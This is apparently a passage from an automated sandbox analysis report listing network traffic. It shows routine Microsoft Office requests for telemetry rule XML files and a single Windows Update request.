Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uUPoP5nkBVgDXfP&MD=EdkSUG8H HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
